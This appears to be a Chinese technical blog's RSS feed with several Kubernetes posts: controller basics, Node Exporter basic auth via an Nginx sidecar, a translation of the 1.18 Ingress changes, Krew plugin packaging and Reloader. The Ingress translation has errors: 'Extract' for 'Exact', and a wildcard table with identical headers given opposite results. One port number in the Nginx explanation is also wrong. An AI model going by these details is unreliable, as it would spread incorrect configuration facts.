I0209 12:36:31.339780   13717 round_trippers.go:449] Response Headers:
I0209 12:36:31.339798   13717 round_trippers.go:452]     Content-Length: 2933
I0209 12:36:31.339804   13717 round_trippers.go:452]     Date: Sun, 09 Feb 2020 11:36:31 GMT
I0209 12:36:31.339822   13717 round_trippers.go:452]     Content-Type: application/json
I0209 12:36:31.340084   13717 request.go:1017] Response Body:
{ &amp;quot;kind&amp;quot;:&amp;quot;Table&amp;quot;,
  &amp;quot;apiVersion&amp;quot;:&amp;quot;meta.k8s.io/v1beta1&amp;quot;,
  &amp;quot;metadata&amp;quot;:{
    &amp;quot;selfLink&amp;quot;:&amp;quot;/api/v1/namespaces/default/pods&amp;quot;,
    &amp;quot;resourceVersion&amp;quot;:&amp;quot;2387836&amp;quot; },
  &amp;quot;columnDefinitions&amp;quot;:[
    { &amp;quot;name&amp;quot;:&amp;quot;Name&amp;quot;,
      &amp;quot;type&amp;quot;:&amp;quot;string&amp;quot;,
      &amp;quot;format&amp;quot;:&amp;quot;name&amp;quot;,
      &amp;quot;description&amp;quot;:&amp;quot;Name must be unique within a namespace. Is required when creating resources, although some resources may allow a client to request the generation of an appropriate name automatically. Name is primarily intended for creation idempotence and configuration definition. Cannot be updated. More info: http://kubernetes.io/docs/user-guide/identifiers#names&amp;quot;,
      &amp;quot;priority&amp;quot;:0 },
    { &amp;quot;name&amp;quot;:&amp;quot;Ready&amp;quot;,
      &amp;quot;type&amp;quot;:&amp;quot;string&amp;quot;,
      &amp;quot;format&amp;quot;:&amp;quot;&amp;quot;,
      &amp;quot;description&amp;quot;:&amp;quot;The aggregate readiness state of this pod for accepting traffic.&amp;quot;,
      &amp;quot;priority&amp;quot;:0 },
    { &amp;quot;name&amp;quot;:&amp;quot;Status&amp;quot;,
      &amp;quot;type&amp;quot;:&amp;quot;string&amp;quot;,
      &amp;quot;format&amp;quot;:&amp;quot;&amp;quot;,
      &amp;quot;description&amp;quot;:&amp;quot;The aggregate status of the containers in this pod.&amp;quot;,
      &amp;quot;priority&amp;quot;:0 },
    { &amp;quot;name&amp;quot;:&amp;quot;Restarts&amp;quot;,
      &amp;quot;type&amp;quot;:&amp;quot;integer&amp;quot;,
      &amp;quot;format&amp;quot;:&amp;quot;&amp;quot;,
      &amp;quot;description&amp;quot;:&amp;quot;The number of times the containers in this pod have been restarted.&amp;quot;,
      &amp;quot;priority&amp;quot;:0 },
    { &amp;quot;name&amp;quot;:&amp;quot;Age&amp;quot;,
      &amp;quot;type&amp;quot;:&amp;quot;stri
[truncated 1909 chars]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个通信过程的需求很简单：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;能够处理 HTTP 的请求和响应&lt;/li&gt;
&lt;li&gt;JSON 解析（或者说序列化和反序列化）&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;是的，有 JSON 和 HTTP 的处理能力就够了，所以要编写一个控制器，并不一定必须使用特定语言（例如 Go），理论上用单纯的 Shell 也是可以实现的。&lt;/p&gt;

&lt;h2 id=&#34;go-的定位&#34;&gt;Go 的定位&lt;/h2&gt;

&lt;p&gt;在进入实现细节之前，首先要看看 Kubernetes 的生态。&lt;/p&gt;

&lt;p&gt;历史上好像 Kubernetes 的祖先是用 Java 开发的，后来被移植到了 Go 上。这可能是部分代码不符合 Go 语言风格的原因。尽管 Go 具有垃圾收集功能，但它还是被称为一种低级语言，很适合运行接近于裸机的软件。这种说法是否成立，远远超出了本文的范围，也超出了我的能力。&lt;/p&gt;

&lt;p&gt;然而 Kubernetes 生态中大量软件是使用 Go 语言编写的，我想是有其原因的。&lt;/p&gt;

&lt;p&gt;如果你已经对 Go 相当了解，那么继续使用是个很好的选择——改弦易辙需要勇气。这并不只是一个语言的问题，除了语法之外，还有很多其他内容：&lt;/p&gt;

&lt;h3 id=&#34;要多久才能用新语言写出地道的代码&#34;&gt;要多久才能用新语言写出地道的代码&lt;/h3&gt;

&lt;p&gt;我记得我在学习 Java 的时候，读过 C 语言开发者写的代码。虽然语法是 Java，但是却写出了 C 语言的风格，例如在方法结束之前释放本地变量的引用。&lt;/p&gt;

&lt;h3 id=&#34;多久才能搞清楚在什么条件下使用什么库&#34;&gt;多久才能搞清楚在什么条件下使用什么库&lt;/h3&gt;

&lt;p&gt;我不了解 Go，但是我知道 Java。Java 生态的丰富是人所皆知的。例如测试的场景，就有 JUnit 4、JUnit 5 以及 TestNG 可以选择，另外需要加入断言库么？这还只是测试呢。&lt;/p&gt;

&lt;h3 id=&#34;选择正确的工具链要多久&#34;&gt;选择正确的工具链要多久&lt;/h3&gt;

&lt;p&gt;如果已经在使用 JetBrains 的产品，那么从 JetBrains IDE 之间跳转是比较容易的，例如 IDEA 和 GoLand。但是 IDE 市场非常混乱，例如微软正在推广的包含丰富插件的 VS Code。而 Java 世界中，Eclipse 仍然占据客观的市场份额。各种产品都有自己的优劣，自己的拥趸。工具的选择可能在组织内部引发圣战。&lt;/p&gt;

&lt;h3 id=&#34;新工具形成生产力要多久&#34;&gt;新工具形成生产力要多久&lt;/h3&gt;

&lt;p&gt;各种 IDE 都有各自的玩法。例如我从 Eclipse 切换到 IntelliJ 的过程中，几个星期后才停掉了频繁保存文件的习惯。除了 IDE 之外，还有除错工具等。新的语言能怎么除错？有什么先决条件么？&lt;/p&gt;

&lt;p&gt;另外前面说的几个点只是开发，如果考虑到相关的构建、集成和投产环境，其投入可能又会有数倍的增长。&lt;/p&gt;

&lt;p&gt;我希望上面几点能够让读者意识到，语言的切换事关重大。在很多情况下，沿用原有的语言可能是个更好的选择。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;本文的第一部分，大概了解了一下 Kubernetes 控制器的基础内容。我们详细介绍了什么是控制器，以及开发控制器的需要：即能够与 HTTP/JSON 通信。在下一篇帖子中，我们将详细介绍并实际开发自己的自定义控制器。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>给 Node Exporter 加上 Basic 认证</title>
      <link>/post/node_exp_basic_auth/</link>
      <pubDate>Thu, 09 Apr 2020 22:30:05 +0800</pubDate>
      <guid>/post/node_exp_basic_auth/</guid>
      <description>&lt;p&gt;前两天在成老师群里问了个无聊的问题——Node Exporter 输出的数据，是不是就应该匿名获取呢？本着 0 信任原则，缺省情况下使用 Host Network 的 Node Exporter 暴露的端口的确是令人稍有不安的，那么如何改善呢？&lt;/p&gt;

&lt;p&gt;Node Exporter 新版本中提供了一个 TLS 认证的实验性功能，恰好 Prometheus 也是支持双向 TLS 认证的。不过很多服务会通过 Endpoint 方式提供 Exporter 服务，用 Nginx Sidecar 会是个更加通用的方式。下面举个简单的例子，其他的 Exporter 也可以照猫画虎，并且 Nginx 很成熟，完全可以提供其他更丰富的认证能力。&lt;/p&gt;

&lt;p&gt;首先使用 Helm 安装 Prometheus：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;helm install stable/prometheus \
--generate-name \
--set alertmanager.enabled=false\
--set nodeExporter.hostNetwork=false \
--set pushgateway.enabled=false \
--set server.persistentVolume.enabled=false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;启动之后，会生成一组 Prometheus 组件的资源对象， 要修改的包括几个项目：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;生成 Basic 认证所需的文件&lt;/li&gt;
&lt;li&gt;为 Nginx 编写反向代理配置&lt;/li&gt;
&lt;li&gt;以 Sidecar 的形式把 Nginx 加入 Node Exporter 的 Pod 中&lt;/li&gt;
&lt;li&gt;变更 Node Exporter 的抓取配置&lt;/li&gt;
&lt;li&gt;变更 Prometheus 的采集参数&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;可以使用 htpasswd 工具生成密码文件，例如：&lt;code&gt;htpasswd -c -m passwd.dat admin&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;接下来编写一个配置文件片段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;server {
    listen  9101;
    server_name localhost;
    auth_basic   &amp;quot;login&amp;quot;;
    auth_basic_user_file /etc/nginx/conf.d/passwd.dat;

    location / {
        root   /usr/share/nginx/html;
        proxy_pass http://127.0.0.1:9100;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用一个非常简单的配置，引用前面生成的密码文件进行验证，并且对来自 9091 端口的请求，转发到同一个 Pod 中 9100 端口的 Node Exporter 上。&lt;/p&gt;

&lt;p&gt;用前面的两个文件生成 Configmap 供容器引用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;kubectl create configmap nginx-config \
--from-file=proxy.conf --from-file=passwd.dat
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成 Nginx 配置之后，就需要把 Nginx 加入 NodeExporter 了，可以使用 kubectl edit 在线编辑，或者导出 YAML，加入如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    spec:
      containers:
        ...
        - image: nginx:stable-alpine
          ports:
          - containerPort: 9101
            name: proxy
            protocol: TCP
          name: nginx
          volumeMounts:
            - mountPath: /etc/nginx/conf.d
              name: nginx-config
              readOnly: true
      ...
      volumes:
        ...
        - name: nginx-config
          configMap:
            name: nginx-config
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;因为端口发生了变化，所以还需要修改 Service 的抓取标签，注解中加入：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  annotations:
    prometheus.io/port: &amp;quot;9101&amp;quot;
    prometheus.io/scrape: &amp;quot;true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后修改 Prometheus 的配置，在 &lt;code&gt;kubernetes-service-endpoints&lt;/code&gt; 加入如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    - job_name: kubernetes-service-endpoints
      basic_auth:
        username: admin
        password: password
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重启 Prometheus，之后，可以看到工作还是继续进行，但是使用 CURL 访问会得到 401：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ curl http://192.168.14.252:9101/metrics
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;401 Authorization Required&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;401 Authorization Required&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.16.1&amp;lt;/center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;以此类推，如果在 Nginx 中引入 TLS 双向认证，还可以使用 CA 的方式对认证过程进行进一步的集中管理，让更多的 Exporter 进入管理范围。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 1.18 中 Ingress 的增强</title>
      <link>/post/ingress-in-1.18/</link>
      <pubDate>Sun, 05 Apr 2020 17:41:31 +0800</pubDate>
      <guid>/post/ingress-in-1.18/</guid>
      <description>

&lt;p&gt;作者：&lt;a href=&#34;https://www.linkedin.com/in/robertjscott1&#34; target=&#34;_blank&#34;&gt;Rob Scott (Google)&lt;/a&gt; &lt;a href=&#34;https://www.linkedin.com/in/cmluciano&#34; target=&#34;_blank&#34;&gt;Christopher M Luciano (IBM)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/&#34; target=&#34;_blank&#34;&gt;Improvements to the Ingress API in Kubernetes 1.18&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 的 Ingress API 是大量 Ingress 控制器的基础，它们通过这一 API，用方便强大的方式为 Kubernetes 提供入站流量的支持。在 Kubernetes 1.18 中，这个 API 有了三个显著的变化：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;新的 &lt;code&gt;pathType&lt;/code&gt; 字段可以用来匹配 Ingress 路径。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IngressClass&lt;/code&gt; 资源能够指定控制器实现 Ingress 的方法。&lt;/li&gt;
&lt;li&gt;主机名中可以使用通配符。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;使用-path-type-改进路径匹配&#34;&gt;使用 Path Type 改进路径匹配&lt;/h2&gt;

&lt;p&gt;Path Type 的新概念让用户可以指定路径的匹配方式，目前有三种：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ImplementationSpecific&lt;/code&gt;（缺省）：这种匹配方式的行为取决于 &lt;code&gt;IngressClass&lt;/code&gt; 控制器的实现。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Extract&lt;/code&gt;：以区分大小写的方式精确匹配整个 URL 路径。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Prefix&lt;/code&gt;：区分大消息，根据以 &lt;code&gt;/&lt;/code&gt; 分割的 URL 元素进行前缀匹配。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;使用-ingress-class-扩展配置&#34;&gt;使用 Ingress Class 扩展配置&lt;/h2&gt;

&lt;p&gt;Ingress 资源的设计初衷就是易用性，尝试使用简单的字段为所有应用提供支持。随着应用场景的不断增加，为了适应更广泛的需求，越来越多的 Ingress 控制器要靠大量的自定义注解来完成更复杂的配置。&lt;code&gt;IngressClass&lt;/code&gt; 资源提供了一种替换部分注解的思路。&lt;/p&gt;

&lt;p&gt;每个 &lt;code&gt;IngressClass&lt;/code&gt; 中都指明了用于实现 Ingress 的控制器类型，并且可以引用自定义资源来使用更多参数。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.k8s.io/v1beta1
kind: IngressClass
metadata:
  name: external-lb
spec:
  controller: example.com/ingress-controller
  parameters:
    apiGroup: k8s.example.com/v1alpha
    kind: IngressParameters
    name: external-lb
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;指定-ingess-的-class&#34;&gt;指定 Ingess 的 Class&lt;/h3&gt;

&lt;p&gt;Ingress 规范中加入了 &lt;code&gt;ingressClassName&lt;/code&gt; 字段，用来指定实现这个 Ingress 资源的的 &lt;code&gt;IngressClass&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;淘汰-ingress-注解&#34;&gt;淘汰 Ingress 注解&lt;/h3&gt;

&lt;p&gt;在 1.18 加入 &lt;code&gt;IngressClass&lt;/code&gt; 之前，需要在 Ingess 资源中使用 &lt;code&gt;kubernetes.io/ingress.class&lt;/code&gt; 注解来指定 Ingress 控制器。在没有官方定义的情况下，这个注解被大量的 Ingress 控制器所支持。现在是时候淘汰他了。&lt;/p&gt;

&lt;h3 id=&#34;设置缺省的-ingressclass&#34;&gt;设置缺省的 IngressClass&lt;/h3&gt;

&lt;p&gt;可以使用 &lt;code&gt;ingressclass.kubernetes.io/is-default-class&lt;/code&gt; 注解，将其设置为 &lt;code&gt;True&lt;/code&gt;，就代表所在的 &lt;code&gt;IngressClass&lt;/code&gt; 为缺省控制器。没有显示指定 &lt;code&gt;IngressClassName&lt;/code&gt; 的新的 Ingress 资源都会使用该控制器。&lt;/p&gt;

&lt;h2 id=&#34;主机名通配符&#34;&gt;主机名通配符&lt;/h2&gt;

&lt;p&gt;很多 Ingress 控制器都支持通配符，例如 &lt;code&gt;*.foo.com&lt;/code&gt; 可以匹配 &lt;code&gt;app1.foo.com&lt;/code&gt;，但是直到目前为止，规范还是假设使用完全匹配的 FQDN。主机名现在也可以使用通配符了。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Host&lt;/th&gt;
&lt;th&gt;Host Header&lt;/th&gt;
&lt;th&gt;匹配?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*.foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;根据后缀匹配&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*.foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不匹配，通配符只能对应一个 DNS 项&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;foo.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;不匹配，通配符只能对应一个 DNS 项&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;总结一下&#34;&gt;总结一下&lt;/h2&gt;

&lt;p&gt;新的 Ingress 功能扩展了配置能力，下面是一个例子，其中用到了上面提到的三个新特性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: example-ingress
spec:
  ingressClassName: external-lb
  rules:
  - host: *.example.com
    http:
      paths:
      - path: /example
        pathType: Prefix
        backend:
          serviceName: example-service
          servicePort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;ingress-控制器支持&#34;&gt;Ingress 控制器支持&lt;/h3&gt;

&lt;p&gt;这个功能是 Kubernetes 1.18 中新增的，因此各种控制器都需要一段时间才能提供支持。请关注相关产品的官方文档。&lt;/p&gt;

&lt;h2 id=&#34;ingress-的未来&#34;&gt;Ingress 的未来&lt;/h2&gt;

&lt;p&gt;Ingress API 将在 1.19 进入稳定阶段。它会持续使用简单的方式为 Kubernetes 入站流量提供支持。这个 API 的设计重心就在于轻量和简单，但是更好的配置能力和更广泛的案例支持也是一个持续的努力方向。&lt;/p&gt;

&lt;p&gt;目前还在开发一组高配置能力的 API。被称为 &lt;code&gt;Service API&lt;/code&gt; 的新 API 会提供一种 Ingress 的替代方案。它的存在目的不是替代 Ingress，而是提供一种更具配置能力的新方案。请查看 Github 上的 &lt;a href=&#34;http://github.com/kubernetes-sigs/service-apis&#34; target=&#34;_blank&#34;&gt;Service API&lt;/a&gt; 项目。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何编写一个支持 Krew 的 kubectl 插件</title>
      <link>/post/how-to-krew/</link>
      <pubDate>Thu, 02 Apr 2020 10:13:24 +0800</pubDate>
      <guid>/post/how-to-krew/</guid>
      <description>

&lt;h2 id=&#34;krew-简介&#34;&gt;krew 简介&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/kubernetes-sigs/krew&#34; target=&#34;_blank&#34;&gt;Krew&lt;/a&gt; 是一个用来管理 Kubectl 插件的工具，名字大概来自于 OS X 下著名的软件包管理器 &lt;code&gt;Homebrew&lt;/code&gt;，使用 Krew 能够方便的查找、安装和使用 Kubectl 插件，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl krew search
NAME                            DESCRIPTION                                         INSTALLED
access-matrix                   Show an RBAC access matrix for server resources     no
advise-psp                      Suggests PodSecurityPolicies for cluster.           no
...

$ kubectl krew install tree
Updated the local copy of plugin index.
Installing plugin: tree
...

$  kubectl tree deployment coredns -nkube-system
NAMESPACE    NAME                                READY  REASON  AGE
kube-system  Deployment/coredns                  -              140d
kube-system  └─ReplicaSet/coredns-76d9d9bcc7   -              140d
kube-system    ├─Pod/coredns-76d9d9bcc7-m6d4c  True           4d10h
kube-system    └─Pod/coredns-76d9d9bcc7-zvf9c  True           4d10h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很方便的几个步骤，就可以查询、安装和使用新插件了。&lt;/p&gt;

&lt;p&gt;Krew 除了落在客户端的可执行文件之外，和其它软件包管理系统一样，也同样需要有一个索引系统，并根据索引进行软件查询和下载，下载之后的软件保存在本地，供 kubectl 调用。&lt;/p&gt;

&lt;h3 id=&#34;索引&#34;&gt;索引&lt;/h3&gt;

&lt;p&gt;Krew 的索引保存在一个名为 &lt;a href=&#34;https://github.com/kubernetes-sigs/krew-index&#34; target=&#34;_blank&#34;&gt;krew-index&lt;/a&gt; 的代码库中。其中的 &lt;code&gt;plugins&lt;/code&gt; 目录保存了一组 yaml 文件，就是插件的目录。&lt;/p&gt;

&lt;h3 id=&#34;yaml-清单&#34;&gt;YAML 清单&lt;/h3&gt;

&lt;p&gt;随意打开一个清单文件，可以看到这样的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: krew.googlecontainertools.github.com/v1alpha2
kind: Plugin
metadata:
  name: access-matrix
spec:
  version: v0.4.4
  platforms:
  - bin: access-matrix
    uri: https://github.com/corneliusweig/rakkess/releases/download/v0.4.4/access-matrix-amd64-linux.tar.gz
    sha256: 53b1ee5865d11360cea3e59b91cdc6707ee30845567e63657782ee11815f1de4
    files:
      - from: ./LICENSE
        to: .
      - from: ./access-matrix-amd64-linux
        to: access-matrix
    selector:
      matchLabels:
        os: linux
        arch: amd64
  shortDescription: Show an RBAC access matrix for server resources
  homepage: https://github.com/corneliusweig/rakkess
  caveats: |
      Usage:
        kubectl access-matrix
  description: ..
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中 &lt;code&gt;apiVersion&lt;/code&gt; 和 &lt;code&gt;kind&lt;/code&gt; 是固定内容。&lt;code&gt;platforms&lt;/code&gt; 是一个数组，指定不同平台下的不同用法。下一级的 &lt;code&gt;bin&lt;/code&gt; 表明了执行命令；&lt;code&gt;uri&lt;/code&gt; 和 &lt;code&gt;sha256&lt;/code&gt; 分别指的是下载位置以及压缩包的校验码；接下来的 &lt;code&gt;files&lt;/code&gt; 是一个拷贝命令——从解压后的文件夹中拷贝文件；最后的 &lt;code&gt;selector&lt;/code&gt; 则是针对不同平台的选择标准。&lt;/p&gt;

&lt;p&gt;所以要编写一个能够通过 Krew 进行管理的 kubectl 插件，需要以下几个步骤：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;编写插件代码&lt;/li&gt;
&lt;li&gt;制作清单和调试&lt;/li&gt;
&lt;li&gt;上传到 krew-index&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;下面用一个实际的例子来说明一下这个过程。&lt;/p&gt;

&lt;h2 id=&#34;编写插件代码&#34;&gt;编写插件代码&lt;/h2&gt;

&lt;p&gt;插件代码本身的编写非常简单和随意，可以用你喜欢的任何语言，例如 golang、python 或者 shell。只有一个推荐的命名规则：&lt;code&gt;kubectl-rm&lt;/code&gt;，在 kubectl 中调用时就可以使用 &lt;code&gt;kubectl rm&lt;/code&gt; 了。例如我要编写一个对输出 JSON 进行过滤的插件，代码如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/sh

METADATA=${JSON_METADATA-&amp;quot;.metadata.resourceVersion, .metadata.selfLink, .metadata.managedFields, .metadata.generation, .metadata.uid, .metadata.creationTimestamp&amp;quot;}
STATUS=${JSON_STATUS-&amp;quot;.status&amp;quot;}
ANNOTATION=${JSON_ANNOTATION-&amp;quot;.metadata.annotations.\&amp;quot;kubectl.kubernetes.io/last-applied-configuration\&amp;quot;, .metadata.annotations.\&amp;quot;deployment.kubernetes.io/revision\&amp;quot;&amp;quot;}
SPEC=${JSON_SPEC-&amp;quot;.spec.template.metadata.creationTimestamp, .spec.revisionHistoryLimit, .spec.templateGeneration&amp;quot;}

if ! [ -x &amp;quot;$(command -v jq)&amp;quot; ]; then
  echo &#39;Error: jq is not installed.&#39; &amp;gt;&amp;amp;2
  exit 1
fi

if [ $# -lt 2 ]
  then
    echo &amp;quot;Usage: $0 [workload-type] [object-name] [other parameters for kubectl]&amp;quot;
    echo &amp;quot;Workload types: &#39;deployment&#39;, &#39;daemonset&#39;, &#39;configmap&#39;, &#39;statefulset&#39;, &#39;secret&#39;&amp;quot;
    echo &amp;quot;Example: $0 deploy coredns -n kube-system&amp;quot;
    exit 1
fi

TYPE=$1
NAME=$2
OTHER=$*

kubectl get ${OTHER} -ojson | jq -S &amp;quot;del(${METADATA}, ${STATUS}, ${ANNOTATION}, ${SPEC})&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;想法很简单，获取运行中的对象描述，使用 JQ 对数据进行清理和排序，输出一个相对标准的结果，便于不同环境间的比较和部署的导出。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;虽然最后是通过 &lt;code&gt;kubectl std-json&lt;/code&gt; 的方式调用，这里的 &lt;code&gt;$0&lt;/code&gt; 指的仍然是脚本自身。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;制作清单和测试&#34;&gt;制作清单和测试&lt;/h2&gt;

&lt;p&gt;照猫画虎，按照上面的 YAML 代码，编写自己的清单。&lt;/p&gt;

&lt;p&gt;清单要求，需要打一个压缩包便于下载，我们把可执行文件和 LICENSE 文件放置到单独的目录 &lt;code&gt;kubectl-std-json-v0.1.0&lt;/code&gt; 中，压缩生成一个 &lt;code&gt;.tar.gz&lt;/code&gt; 文件，部分清单如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    uri: https://github.com/fleeto/kubectl-std-json/releases/download/v0.1.0/kubectl-std-json-v0.1.0.tar.gz
    sha256: e1ad2398eaed5442042da134fb046fa8276042dd4122da4d872a8e91aeb2a339
    bin: kubectl-std-json
    files:
    - from: kubectl-std-json-*/kubectl-std-json
      to: .
    - from: kubectl-std-json-*/LICENSE
      to: .
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;平台选择方面，我们只支持 OSX 和 Linux，因此只要一个平台元素即可。&lt;/p&gt;

&lt;p&gt;压缩包的校验码可以使用 &lt;code&gt;shasum -a 256&lt;/code&gt; 命令生成。&lt;/p&gt;

&lt;p&gt;上传压缩包之后，可以使用 &lt;code&gt;kubectl krew install --manifest&lt;/code&gt; 命令来测试安装。如果一切顺利，在本地就可以使用了。&lt;/p&gt;

&lt;h2 id=&#34;krew-index&#34;&gt;krew-index&lt;/h2&gt;

&lt;p&gt;接下来的操作很常规：fork krew-index，把你的清单写入 &lt;code&gt;plugins&lt;/code&gt; 目录，提交 PR 即可。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Krew：&lt;code&gt;https://github.com/kubernetes-sigs/krew&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Krew index：&lt;code&gt;https://github.com/kubernetes-sigs/krew-index&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>根据 Configmap/Secret 变化更新 Deployment</title>
      <link>/post/kube-cm-sec-reloader/</link>
      <pubDate>Mon, 23 Mar 2020 19:34:30 +0800</pubDate>
      <guid>/post/kube-cm-sec-reloader/</guid>
      <description>

&lt;p&gt;这个项目叫做 &lt;a href=&#34;https://github.com/stakater/Reloader&#34; target=&#34;_blank&#34;&gt;Reloader&lt;/a&gt;，它可以监控 Configmap/Secret 的变化，根据 Annotation 选择 Deployment，对相关 Deployment 进行滚动更新。&lt;/p&gt;

&lt;p&gt;简单工具的安装还是很简单的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;kubectl apply -f \
https://raw.githubusercontent.com/stakater/Reloader/master/deployments/kubernetes/reloader.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;首先创建我们要用到的配置对象，其中包含了一个 Secret 和一个 Configmap：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Secret
type: Opaque
metadata:
  name: password
data:
  password: YWJjZGVm
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: login
data:
  login.conf: |
    [login]
    url=&amp;quot;http://ciduy.com&amp;quot;
    user=&amp;quot;adminbacd&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来部署一个应用作为应用负载，来验证 Reloader 的功能：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    reloader.stakater.com/auto: &amp;quot;true&amp;quot;
  labels:
    app: debugger
  name: debugger
spec:
  replicas: 1
  selector:
    matchLabels:
      app: debugger
  template:
    metadata:
      labels:
        app: debugger
    spec:
      containers:
      - image: dustise/sleep:latest
        name: sleep
        env:
        - name: PASSWORD
          valueFrom:
            secretKeyRef:
              name: password
              key: password
        volumeMounts:
        - name: cm-sample
          mountPath: /etc/cm
      volumes:
      - name: cm-sample
        configMap:
          name: login
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的 Annotation 表示自动监控相关对象。&lt;/p&gt;

&lt;p&gt;接下来随意改动一下 Configmap 或者 Secret 的值，就会看到 Pod 重建了。&lt;/p&gt;

&lt;p&gt;自动变更有时也需要手工指定的辅助的，例如服务依赖的情况，可以依赖上游服务的 Configmap 变更进行重启；或者是对某些可以自动处理的配置文件进行忽略处理，都可以使用如下两个注解：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;secret.reloader.stakater.com/reload: &amp;quot;secret1,secret2&amp;quot;&lt;/code&gt;&lt;/li&gt;
